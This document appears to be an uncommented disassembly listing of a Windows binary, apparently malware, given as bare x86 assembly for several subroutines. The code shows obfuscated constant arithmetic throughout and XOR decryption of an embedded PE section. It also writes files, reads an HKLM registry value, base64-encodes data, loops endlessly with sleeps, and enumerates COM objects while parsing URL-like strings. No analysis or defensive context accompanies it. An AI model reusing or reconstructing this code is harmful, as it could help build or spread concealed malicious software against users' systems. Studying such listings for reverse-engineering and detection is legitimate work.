var_19C = byte ptr -19Ch
var_198 = dword ptr -198h
var_193 = dword ptr -193h
var_18F = dword ptr -18Fh
var_18B = dword ptr -18Bh
var_187 = dword ptr -187h
var_183 = dword ptr -183h
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1ACh
push esi
push edi
mov edi, [ebp+arg_0]
mov byte ptr [edi], 0
mov [ebp+var_193], 94h
lea eax, [ebp+var_193]
push eax
call dword ptr ds:10011B98h
cmp [ebp+var_183], 1
jnz short loc_41B408
push 100136B9h
call sub_4228CE
push eax
push edi
call dword ptr ds:1000C020h
add esp, 0Ch
loc_41B408: ; CODE XREF: sub_41B3C2+2Fj
cmp [ebp+var_183], 2
jnz short loc_41B426
push 100136B3h
call sub_4228CE
push eax
push edi
call dword ptr ds:10011634h
add esp, 0Ch
loc_41B426: ; CODE XREF: sub_41B3C2+4Dj
push 100136A7h
call sub_4228CE
push [ebp+var_187]
push [ebp+var_18B]
push [ebp+var_18F]
push eax
lea esi, [ebp+var_FF]
push esi
call dword ptr ds:10011634h
lea eax, [ebp+var_FF]
push eax
push edi
call dword ptr ds:1000C020h
push 100136A0h
call sub_4228CE
mov esi, ds:100121A0h
sub esi, 6
push esi
push 0
lea esi, [ebp+var_19C]
push esi
lea esi, [ebp+var_19C]
push esi
lea esi, [ebp+var_198]
push esi
push 0FFh
lea esi, [ebp+var_FF]
push esi
push eax
call dword ptr ds:10011614h
push 10013698h
call sub_4228CE
push [ebp+var_198]
push eax
lea esi, [ebp+var_FF]
push esi
call dword ptr ds:10011634h
lea eax, [ebp+var_FF]
push eax
push edi
call dword ptr ds:1000C020h
push 0FFh
lea eax, [ebp+var_FF]
push eax
mov eax, ds:1001218Ch
add eax, 2
push eax
push 400h
call dword ptr ds:1000E5F4h
lea eax, [ebp+var_FF]
push eax
push edi
call dword ptr ds:1000C020h
push 10013693h
call sub_4228CE
push eax
push edi
call dword ptr ds:1000C020h
mov [ebp+var_1A0], 0FFh
push 10013666h
call sub_4228CE
mov [ebp+var_1AC], eax
push 10013659h
call sub_4228CE
lea esi, [ebp+var_1A8]
push esi
lea esi, [ebp+var_1A0]
push esi
lea esi, [ebp+var_FF]
push esi
push eax
mov esi, [ebp+var_1AC]
push esi
push 80000002h
call sub_4213C8
add esp, 70h
mov [ebp+var_1A4], eax
mov eax, ds:10012190h
add eax, ds:100121ACh
sub eax, 6
cmp [ebp+var_1A4], eax
jnz short loc_41B583
lea eax, [ebp+var_FF]
push eax
push edi
call dword ptr ds:1000C020h
add esp, 8
loc_41B583: ; CODE XREF: sub_41B3C2+1AEj
pop edi
pop esi
leave
retn
sub_41B3C2 endp
; ---------------------------------------------------------------------------
db 0B8h
dd 80004001h
db 0C2h, 10h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B58F proc near ; CODE XREF: sub_4232A3+35Ep
; sub_4232A3+3E5p
var_16C = byte ptr -16Ch
var_168 = byte ptr -168h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 16Ch
push ebx
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000E5FCh
lea eax, [ebp+var_168]
push eax
call sub_41C3F2
push 10013654h
call sub_4228CE
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000C020h
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000C020h
push 1001364Ch
call sub_4228CE
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000C020h
add esp, 24h
push 0
push 80h
push 4
push 0
mov eax, ds:100120C0h
add eax, ds:100121C0h
sub eax, 4
push eax
push 40000000h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:10011788h
mov edi, eax
push 0
push 0
push [ebp+arg_4]
push edi
call dword ptr ds:10011B9Ch
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_41B644: ; CODE XREF: sub_41B58F+BAj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41B644
mov esi, eax
push 0
lea ebx, [ebp+var_16C]
push ebx
push esi
push [ebp+arg_0]
push edi
call dword ptr ds:10011B8Ch
push edi
call dword ptr ds:10010650h
pop edi
pop esi
pop ebx
leave
retn
sub_41B58F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B66D proc near ; CODE XREF: .data:0041E8A5p
; .data:0041E974p
var_10003 = dword ptr -10003h
var_FFFF = byte ptr -0FFFFh
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
mov eax, 10004h
call sub_424F4D
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
lea edi, ds:1000F260h
cmp [ebp+arg_4], 43h
jnz short loc_41B692
lea edi, ds:1000E0F0h
loc_41B692: ; CODE XREF: sub_41B66D+1Dj
push 0
push 80h
push 3
push 0
push 3
push 0C0000000h
push edi
call dword ptr ds:10011788h
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_41B73B
push 0
push 0
push esi
push edi
call dword ptr ds:10011B9Ch
push 0
lea eax, [ebp+var_4]
push eax
push 0FFFFh
lea eax, [ebp+var_10003]
push eax
push edi
call dword ptr ds:1000C028h
lea ecx, [ebp+var_FFFF]
or eax, 0FFFFFFFFh
loc_41B6E4: ; CODE XREF: sub_41B66D+7Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41B6E4
mov edx, ds:100120C4h
add edx, 1
mov ebx, eax
add ebx, edx
mov [ebp+var_4], ebx
mov ebx, ds:10012158h
mov edx, [ebp+var_4]
mov [ebp+ebx*4+var_10003], edx
push 0
push 0
push esi
push edi
call dword ptr ds:10011B9Ch
push 0
lea eax, [ebp+var_4]
push eax
mov eax, ds:10012178h
add eax, 1
push eax
lea eax, [ebp+var_10003]
push eax
push edi
call dword ptr ds:10011B8Ch
push edi
call dword ptr ds:10010650h
loc_41B73B: ; CODE XREF: sub_41B66D+43j
pop edi
pop esi
pop ebx
leave
retn
sub_41B66D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B740 proc near ; CODE XREF: .data:004231FCp
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov esi, [eax+3Ch]
mov edi, esi
add edi, eax
mov eax, [edi+28h]
mov edx, [ebp+arg_0]
lea esi, [eax+edx+0Dh]
movzx eax, byte ptr [esi]
xor eax, 4Dh
mov [ebp+var_1], al
movzx eax, byte ptr [esi+1]
movsx edx, word ptr ds:100120C8h
mov ecx, ds:100121B4h
lea edx, [edx+ecx+1F8h]
mov ebx, eax
imul ebx, edx
movsx eax, word ptr ds:10012168h
mov edi, eax
add edi, ds:100120F8h
sub edi, 8
jmp short loc_41B7A3
; ---------------------------------------------------------------------------
loc_41B795: ; CODE XREF: sub_41B740+65j
movzx eax, byte ptr [esi+edi]
movzx edx, [ebp+var_1]
xor eax, edx
mov [esi+edi], al
inc edi
loc_41B7A3: ; CODE XREF: sub_41B740+53j
cmp edi, ebx
jb short loc_41B795
mov eax, [ebp+arg_4]
mov [eax], ebx
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_41B740 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B7B4 proc near ; CODE XREF: .data:0041B022p
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_8]
mov eax, ebx
add eax, 2
mov ecx, 3
mov edx, 0AAAAAAABh
mul edx
shr edx, 1
mov [ebp+var_4], edx
mov edi, edx
shl edi, 2
mov edx, [ebp+arg_C]
dec edx
cmp edi, edx
jbe short loc_41B824
xor eax, eax
jmp loc_41B8CE
; ---------------------------------------------------------------------------
loc_41B7EC: ; CODE XREF: sub_41B7B4+80j
push esi
push [ebp+arg_0]
call sub_41C28D
add esp, 8
mov eax, ds:10012188h
add eax, 3
sub ebx, eax
movsx eax, word ptr ds:100120D0h
mov edx, ds:10012118h
lea eax, [eax+edx+2]
add eax, [ebp+arg_0]
mov [ebp+arg_0], eax
mov eax, ds:10012140h
sub eax, 4
lea esi, [esi+eax]
loc_41B824: ; CODE XREF: sub_41B7B4+2Fj
mov eax, ds:1001217Ch
add eax, ds:100120ECh
sub eax, 8
cmp ebx, eax
jnb short loc_41B7EC
movsx eax, word ptr ds:1001216Ch
sub eax, 4
cmp ebx, eax
jbe short loc_41B8B1
push 3
mov eax, ds:10012130h
add eax, ds:1001218Ch
dec eax
push eax
lea eax, [ebp+var_7]
push eax
call dword ptr ds:10010640h
push ebx
push [ebp+arg_0]
lea eax, [ebp+var_7]
push eax
call dword ptr ds:10010634h
push esi
lea eax, [ebp+var_7]
push eax
call sub_41C28D
add esp, 20h
mov eax, ds:1001214Ch
add eax, ds:10012184h
sub eax, 9
mov byte ptr [esi+eax], 3Dh
movsx eax, word ptr ds:100120E0h
inc eax
cmp ebx, eax
jnz short loc_41B8A8
mov eax, ds:10012104h
add eax, ds:100120D4h
sub eax, 2
mov byte ptr [esi+eax], 3Dh
loc_41B8A8: ; CODE XREF: sub_41B7B4+E0j
mov eax, ds:100121C0h
inc eax
lea esi, [esi+eax]
loc_41B8B1: ; CODE XREF: sub_41B7B4+8Ej
mov eax, ds:10012134h
add eax, ds:10012144h
sub eax, 8
mov edx, ds:10012104h
sub edx, 3
mov [esi+eax], dl
xor eax, eax
inc eax
loc_41B8CE: ; CODE XREF: sub_41B7B4+33j
pop edi
pop esi
pop ebx
leave
retn
sub_41B7B4 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov edi, [ebp+8]
push 100071E7h
push dword ptr fs:0
mov fs:0, esp
push 10013644h
call sub_4228CE
push dword ptr [edi]
push eax
lea esi, [ebp-0Ah]
push esi
call dword ptr ds:10011634h
add esp, 10h
loc_41B909: ; CODE XREF: .data:0041B931j
push 0
push dword ptr [edi]
lea eax, [ebp-0Ah]
push eax
call sub_423CF4
mov eax, ds:10012098h
movsx edx, word ptr ds:10012170h
add eax, edx
sub eax, 0Fh
push eax
call dword ptr ds:10011630h
add esp, 10h
jmp short loc_41B909
; ---------------------------------------------------------------------------
db 5Fh
dd 4C2C95Eh
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B939 proc near ; CODE XREF: .data:00423256p
var_209 = byte ptr -209h
var_208 = byte ptr -208h
var_204 = byte ptr -204h
var_1FE = byte ptr -1FEh
var_107 = byte ptr -107h
var_102 = byte ptr -102h
var_FF = byte ptr -0FFh
var_FE = byte ptr -0FEh
push ebp
mov ebp, esp
sub esp, 20Ch
push edi
push 0FFh
lea eax, [ebp+var_1FE]
push eax
call dword ptr ds:1000E5FCh
push 10013631h
call sub_4228CE
movsx edi, word ptr ds:10012148h
sub edi, 2
push edi
lea edi, [ebp+var_1FE]
push edi
push eax
push 1000E0F0h
call dword ptr ds:10011634h
push 1001361Eh
call sub_4228CE
mov edi, ds:100120F0h
sub edi, 3
push edi
lea edi, [ebp+var_1FE]
push edi
push eax
push 1000F260h
call dword ptr ds:10011634h
lea eax, ds:10001A99h
mov ds:1001162Ch, eax
lea eax, ds:10001A99h
mov ds:1000C04Ch, eax
lea eax, ds:1000987Ch
mov ds:10011774h, eax
push 1000D020h
call sub_41B3C2
mov eax, ds:100121ACh
add eax, 6
push eax
push 1000F230h
call sub_422857
lea eax, ds:1000AC06h
mov ds:1000F228h, eax
lea eax, ds:10004E0Fh
mov ds:1000EA30h, eax
lea eax, ds:1000E0F0h
mov ds:1001063Ch, eax
lea eax, ds:1000F260h
mov ds:1000C018h, eax
lea eax, ds:10011670h
mov ds:100122B0h, eax
lea eax, [ebp+var_204]
push eax
mov eax, ds:100120ACh
sub eax, 3
push eax
push 0
push 10007914h
mov eax, ds:100120F8h
add eax, ds:10012104h
sub eax, 5
push eax
push 0
call dword ptr ds:10011B90h
push eax
call dword ptr ds:10010650h
lea eax, [ebp+var_208]
push eax
mov eax, ds:10012198h
mov edx, ds:10012184h
add edx, eax
sub edx, 0Eh
push edx
push 0
push 10003256h
movsx edx, word ptr ds:100120E8h
add edx, eax
lea eax, [edx-0Dh]
push eax
push 0
call dword ptr ds:10011B90h
push eax
call dword ptr ds:10010650h
mov eax, ds:10012174h
inc eax
movsx edx, word ptr ds:100120E0h
add eax, edx
mov ds:1000E61Ch, eax
movsx eax, word ptr ds:100120BCh
movsx edx, word ptr ds:10012128h
add eax, edx
sub eax, 8
push eax
lea eax, [ebp+var_FF]
push eax
call sub_41B1B9
add esp, 3Ch
mov eax, ds:100120A4h
add eax, ds:10012124h
cmp [ebp+eax+var_102], 64h
jnz short loc_41BB12
movsx eax, [ebp+var_FE]
mov edx, ds:100120B8h
add edx, 1Ch
add edx, ds:100121A4h
sub eax, edx
mov [ebp+var_209], al
movzx eax, [ebp+var_209]
push eax
push 0
call sub_4223D9
add esp, 8
mov eax, ds:100120B4h
sub eax, 8
mov ds:1000E61Ch, eax
loc_41BB12: ; CODE XREF: sub_41B939+19Aj
movsx eax, word ptr ds:10012170h
add eax, ds:10012164h
cmp [ebp+eax+var_107], 67h
jnz short loc_41BB82
mov eax, ds:10012188h
add eax, 7
add eax, ds:100120ACh
movsx edx, word ptr ds:100121BCh
add edx, ds:100121CCh
sub edx, 0Ah
mov [ebp+eax+var_FF], dl
lea eax, [ebp+var_FE]
push eax
call dword ptr ds:1000C054h
mov [ebp-20Ch], eax
push eax
push 10011670h
call sub_41E5D9
add esp, 0Ch
mov eax, ds:1001210Ch
add eax, ds:10012174h
sub eax, 10h
mov ds:1000E61Ch, eax
loc_41BB82: ; CODE XREF: sub_41B939+1EEj
pop edi
leave
retn
sub_41B939 endp
; ---------------------------------------------------------------------------
db 0B8h, 1, 40h
dd 10C28000h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB8D proc near ; CODE XREF: sub_423996+Ep
; sub_423996+1DBp
var_10088 = dword ptr -10088h
var_10084 = dword ptr -10084h
var_10080 = dword ptr -10080h
var_1007C = dword ptr -1007Ch
var_10078 = word ptr -10078h
var_10070 = dword ptr -10070h
var_10068 = dword ptr -10068h
var_10064 = dword ptr -10064h
var_10060 = dword ptr -10060h
var_10059 = byte ptr -10059h
var_10058 = dword ptr -10058h
var_10054 = dword ptr -10054h
var_10050 = dword ptr -10050h
var_1004C = dword ptr -1004Ch
var_10048 = dword ptr -10048h
var_10043 = byte ptr -10043h
var_44 = dword ptr -44h
var_40 = word ptr -40h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 10088h
call sub_424F4D
push ebx
push esi
push edi
mov [ebp+var_40], 8
push 10013610h
call sub_41F3E4
pop ecx
push eax
call dword ptr ds:1000C044h
mov [ebp+var_38], eax
lea eax, [ebp+var_2C]
push eax
lea esi, [ebp+var_40]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_0]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
mov eax, ds:100120F0h
sub eax, 4
cmp ebx, eax
jz short loc_41BBE9
xor eax, eax
jmp loc_41C22D
; ---------------------------------------------------------------------------
loc_41BBE9: ; CODE XREF: sub_41BB8D+53j
lea eax, [ebp+var_24]
push eax
push 1001391Ch
mov eax, [ebp+var_2C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word ptr ds:10012090h
dec eax
cmp ebx, eax
jnz loc_41C222
lea eax, [ebp+var_28]
push eax
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
movsx eax, word ptr ds:10012100h
movsx edx, word ptr ds:100120DCh
add eax, edx
sub eax, 0Fh
cmp ebx, eax
jnz loc_41C219
and [ebp+var_44], 0
movsx eax, word ptr ds:10012100h
sub eax, 9
mov [ebp+var_1C], eax
jmp loc_41C20D
; ---------------------------------------------------------------------------
loc_41BC51: ; CODE XREF: sub_41BB8D+686j
mov [ebp+var_18], 2
mov eax, [ebp+var_1C]
mov [ebp+var_10], eax
lea eax, [ebp+var_4]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_24]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
movsx eax, word ptr ds:100120DCh
add eax, ds:100120A0h
sub eax, 0Ah
cmp ebx, eax
jnz loc_41C20A
and [ebp+var_10048], 0
lea eax, [ebp+var_10048]
push eax
push 1001390Ch
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word ptr ds:10012170h
sub eax, 8
cmp ebx, eax
jnz loc_41C1E6
cmp [ebp+var_10048], 0
jz loc_41C1E6
lea eax, [ebp+var_20]
push eax
mov eax, [ebp+var_10048]
push eax
mov edi, [eax]
call dword ptr [edi+0F8h]
mov ebx, eax
or ebx, ebx
jnz loc_41C1E6
lea eax, [ebp+var_10043]
push eax
push [ebp+var_20]
call sub_41ADCD
mov eax, ds:100120F0h
sub eax, 3
push eax
push 1000F230h
lea eax, [ebp+var_10043]
push eax
call sub_41DB51
add esp, 14h
movsx edi, word ptr ds:100120D0h
mov esi, ds:10012094h
lea edi, [edi+esi+0FFF9h]
cmp eax, edi
jz loc_41C1E6
cmp [ebp+arg_4], 0
jz short loc_41BD6B
mov eax, [ebp+var_10048]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
inc eax
jmp loc_41C22D
; ---------------------------------------------------------------------------
loc_41BD6B: ; CODE XREF: sub_41BB8D+1BFj
and [ebp+var_1007C], 0
lea eax, [ebp+var_1007C]
push eax
push 1001393Ch
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word ptr ds:10012194h
cmp ebx, eax
jnz loc_41C1E6
mov [ebp+var_10059], 44h
push 10013608h
call sub_4228CE
mov edi, ds:10012174h
movsx esi, word ptr ds:10012100h
add edi, esi
sub edi, 11h
push edi
push eax
lea edi, [ebp+var_10043]
push edi
call sub_41DB51
add esp, 10h
mov esi, ds:100120F8h
add esi, 0FFF4h
movsx edx, word ptr ds:100120F4h
add esi, edx
cmp eax, esi
jz short loc_41BDF0
mov [ebp+var_10059], 43h
loc_41BDF0: ; CODE XREF: sub_41BB8D+25Aj
push 10013600h
call sub_4228CE
mov edi, ds:10012158h
add edi, ds:100120A4h
dec edi
push edi
push eax
lea edi, [ebp+var_10043]
push edi
call sub_41DB51
add esp, 10h
mov esi, ds:1001218Ch
add esi, ds:100121CCh
dec esi
mov edi, eax
add edi, esi
mov [ebp+var_10068], edi
mov [ebp+var_10054], edi
loc_41BE35: ; CODE XREF: sub_41BB8D+2BEj
mov eax, [ebp+var_10054]
cmp [ebp+eax+var_10043], 26h
jz short loc_41BE4D
inc [ebp+var_10054]
jmp short loc_41BE35
; ---------------------------------------------------------------------------
loc_41BE4D: ; CODE XREF: sub_41BB8D+2B6j
mov eax, [ebp+var_10054]
mov edx, ds:1001209Ch
add edx, ds:100120A8h
sub edx, 0Bh
mov [ebp+eax+var_10043], dl
mov eax, [ebp+var_10068]
lea eax, [ebp+eax+var_10043]
push eax
call dword ptr ds:1000C054h
mov [ebp+var_10080], eax
push 100135F9h
call sub_4228CE
mov edi, ds:10012184h
mov esi, edi
add esi, edi
mov edi, esi
sub edi, 0Bh
push edi
push eax
lea edi, [ebp+var_10043]
push edi
call sub_41DB51
add esp, 14h
mov esi, ds:1001214Ch
add esi, ds:10012118h
sub esi, 4
mov edi, eax
add edi, esi
mov [ebp+var_10068], edi
mov [ebp+var_10054], edi
loc_41BECC: ; CODE XREF: sub_41BB8D+355j
mov eax, [ebp+var_10054]
cmp [ebp+eax+var_10043], 26h
jz short loc_41BEE4
inc [ebp+var_10054]
jmp short loc_41BECC
; ---------------------------------------------------------------------------
loc_41BEE4: ; CODE XREF: sub_41BB8D+34Dj
mov eax, [ebp+var_10054]
mov edx, ds:10012158h
add edx, ds:10012174h
sub edx, 9
mov [ebp+eax+var_10043], dl
mov eax, [ebp+var_10068]
lea eax, [ebp+eax+var_10043]
push eax
call dword ptr ds:1000C054h
pop ecx
mov [ebp+var_10060], eax
mov eax, ds:1001212Ch
sub eax, 5
cmp [ebp+var_10080], eax
ja short loc_41BF90
movsx eax, word ptr ds:1001216Ch
sub eax, 4
mov [ebp+var_1004C], eax
jmp short loc_41BF7E
; ---------------------------------------------------------------------------
loc_41BF3D: ; CODE XREF: sub_41BB8D+401j
mov edi, [ebp+var_1004C]
mov esi, edi
shl esi, 2
cmp dword ptr ds:1000D130h[esi], 0
jz short loc_41BF78
mov edx, [ebp+var_10060]
cmp ds:1000C060h[esi], edx
jnz short loc_41BF78
mov dl, ds:1000E200h[edi]
cmp dl, [ebp+var_10059]
jnz short loc_41BF78
and dword ptr ds:1000D130h[edi*4], 0
loc_41BF78: ; CODE XREF: sub_41BB8D+3C3j
; sub_41BB8D+3D2j ...
inc [ebp+var_1004C]
loc_41BF7E: ; CODE XREF: sub_41BB8D+3AEj
mov eax, ds:100121B0h
add eax, 3E8h
cmp [ebp+var_1004C], eax
jb short loc_41BF3D
loc_41BF90: ; CODE XREF: sub_41BB8D+39Cj
call dword ptr ds:10011770h
mov [ebp+var_10064], eax
movsx eax, word ptr ds:100120B0h
sub eax, 8
mov [ebp+var_10050], eax
jmp short loc_41C00A
; ---------------------------------------------------------------------------
loc_41BFAE: ; CODE XREF: sub_41BB8D+48Fj
mov edi, [ebp+var_10050]
shl edi, 2
cmp dword ptr ds:1000D130h[edi], 0
jz short loc_41C004
mov edi, ds:10010660h[edi]
mov esi, ds:100120D4h
add esi, 0EA5Ch
add esi, ds:10012104h
mov edx, ds:10012098h
add edx, ds:100120F8h
sub edx, 4
imul esi, edx
add edi, esi
cmp edi, [ebp+var_10064]
jnb short loc_41C004
mov edi, [ebp+var_10050]
and dword ptr ds:1000D130h[edi*4], 0
loc_41C004: ; CODE XREF: sub_41BB8D+432j
; sub_41BB8D+467j
inc [ebp+var_10050]
loc_41C00A: ; CODE XREF: sub_41BB8D+41Fj
movsx eax, word ptr ds:100120C8h
add eax, 3E1h
cmp [ebp+var_10050], eax
jb short loc_41BFAE
movsx eax, word ptr ds:100120DCh
mov edx, eax
add edx, eax
mov eax, edx
sub eax, 0Ch
mov [ebp+var_10058], eax
jmp short loc_41C04C
; ---------------------------------------------------------------------------
loc_41C036: ; CODE XREF: sub_41BB8D+4D1j
mov edi, [ebp+var_10058]
cmp dword ptr ds:1000D130h[edi*4], 0
jz short loc_41C060
inc [ebp+var_10058]
loc_41C04C: ; CODE XREF: sub_41BB8D+4A7j
mov eax, ds:100120C0h
lea eax, [eax+eax+3E6h]
cmp [ebp+var_10058], eax
jb short loc_41C036
loc_41C060: ; CODE XREF: sub_41BB8D+4B7j
mov edi, [ebp+var_10058]
mov esi, [ebp+var_10060]
mov ds:1000C060h[edi*4], esi
mov eax, edi
mov dl, [ebp+var_10059]
mov ds:1000E200h[eax], dl
mov eax, ds:100121ACh
sub eax, 4
cmp [ebp+var_10080], eax
jbe loc_41C136
movsx esi, word ptr ds:10012148h
mov edx, ds:1001209Ch
lea esi, [esi+edx+0FFF4h]
mov ds:1000EA50h[edi*2], si
movsx eax, word ptr ds:1001219Ch
sub eax, 6
mov [ebp+var_10088], eax
jmp short loc_41C122
; ---------------------------------------------------------------------------
loc_41C0C4: ; CODE XREF: sub_41BB8D+5A5j
mov edi, [ebp+var_10088]
mov esi, edi
shl esi, 2
cmp dword ptr ds:1000D130h[esi], 0
jz short loc_41C11C
movzx edx, word ptr ds:1000EA50h[edi*2]
movsx ecx, word ptr ds:10012090h
add ecx, 0FFFEh
cmp edx, ecx
jz short loc_41C11C
mov edx, [ebp+var_10060]
cmp ds:1000C060h[esi], edx
jnz short loc_41C11C
mov dl, ds:1000E200h[edi]
cmp dl, [ebp+var_10059]
jnz short loc_41C11C
lea edi, ds:1000EA50h[edi*2]
inc word ptr [edi]
jmp short loc_41C14D
; ---------------------------------------------------------------------------
loc_41C11C: ; CODE XREF: sub_41BB8D+54Aj
; sub_41BB8D+563j ...
inc [ebp+var_10088]
loc_41C122: ; CODE XREF: sub_41BB8D+535j
mov eax, ds:100120FCh
add eax, 3E1h
cmp [ebp+var_10088], eax
jb short loc_41C0C4
jmp short loc_41C14D
; ---------------------------------------------------------------------------
loc_41C136: ; CODE XREF: sub_41BB8D+503j
mov edi, [ebp+var_10058]
mov esi, ds:100120FCh
sub esi, 6
mov ds:1000EA50h[edi*2], si
loc_41C14D: ; CODE XREF: sub_41BB8D+58Dj
; sub_41BB8D+5A7j
call dword ptr ds:10011770h
mov edi, [ebp+var_10058]
mov ds:10010660h[edi*4], eax
lea esi, ds:10012294h
mov ds:1000D130h[edi*4], esi
mov edi, [ebp+var_10058]
lea edi, ds:1000D130h[edi*4]
mov [ebp+var_10084], edi
mov eax, edi
push eax
mov esi, [eax]
call dword ptr [esi+4]
mov [ebp+var_10078], 9
mov edi, [ebp+var_10058]
lea edi, ds:1000D130h[edi*4]
mov [ebp+var_10070], edi
lea esi, [ebp+var_10078]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_1007C]
push edi
mov edi, [edi]
call dword ptr [edi+0A4h]
mov ebx, eax
inc [ebp+var_10058]
lea eax, [ebp+var_10078]
push eax
call dword ptr ds:10011BB0h
mov eax, [ebp+var_1007C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41C1E6: ; CODE XREF: sub_41BB8D+143j
; sub_41BB8D+150j ...
cmp [ebp+var_10048], 0
jz short loc_41C1FB
mov eax, [ebp+var_10048]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41C1FB: ; CODE XREF: sub_41BB8D+660j
cmp [ebp+var_4], 0
jz short loc_41C20A
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41C20A: ; CODE XREF: sub_41BB8D+10Fj
; sub_41BB8D+672j
inc [ebp+var_1C]
loc_41C20D: ; CODE XREF: sub_41BB8D+BFj
mov eax, [ebp+var_28]
cmp [ebp+var_1C], eax
jb loc_41BC51
loc_41C219: ; CODE XREF: sub_41BB8D+A8j
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41C222: ; CODE XREF: sub_41BB8D+7Ej
mov eax, [ebp+var_2C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
loc_41C22D: ; CODE XREF: sub_41BB8D+57j
; sub_41BB8D+1D9j
pop edi
pop esi
pop ebx
leave
retn
sub_41BB8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C232 proc near ; CODE XREF: sub_41A748+2p
; sub_41A748+9p
var_104 = byte ptr -104h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push edi
lea eax, [ebp+var_104]
push eax
mov eax, ds:10012104h
sub eax, 3
push eax
push 0
push [ebp+arg_0]
push 0
call dword ptr ds:1000EA44h
mov edi, eax
or edi, edi
jnz short loc_41C28A
push 100135F4h
call sub_4228CE
push eax
lea edi, [ebp+var_104]
push edi
call dword ptr ds:1000C020h
push 1
push 43h
lea eax, [ebp+var_104]
push eax
call sub_423CF4
add esp, 18h
loc_41C28A: ; CODE XREF: sub_41C232+2Bj
pop edi
leave
retn
sub_41C232 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C28D proc near ; CODE XREF: sub_41B7B4+3Cp
; sub_41B7B4+BCp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
movzx ebx, byte ptr [eax]
movsx eax, word ptr ds:10012154h
add eax, 0F8h
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+1]
add ebx, eax
mov eax, ds:1001213Ch
add eax, 0FAh
add eax, ds:100121CCh
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+2]
add ebx, eax
mov eax, ds:10012098h
mov esi, eax
add esi, ds:100121A4h
sub esi, 7
jmp short loc_41C330
; ---------------------------------------------------------------------------
loc_41C2E0: ; CODE XREF: sub_41C28D+B6j
mov edi, ds:100121A0h
add edi, ds:100120D4h
sub edi, 4
sub edi, esi
mov edx, [ebp+arg_4]
mov [ebp+var_4], edx
mov edx, ebx
and edx, 8000003Fh
jge short loc_41C306
dec edx
or edx, 0FFFFFFC0h
inc edx
loc_41C306: ; CODE XREF: sub_41C28D+72j
mov ecx, ds:100121FCh
mov dl, [ecx+edx]
mov ecx, [ebp+var_4]
mov [ecx+edi], dl
mov eax, ebx
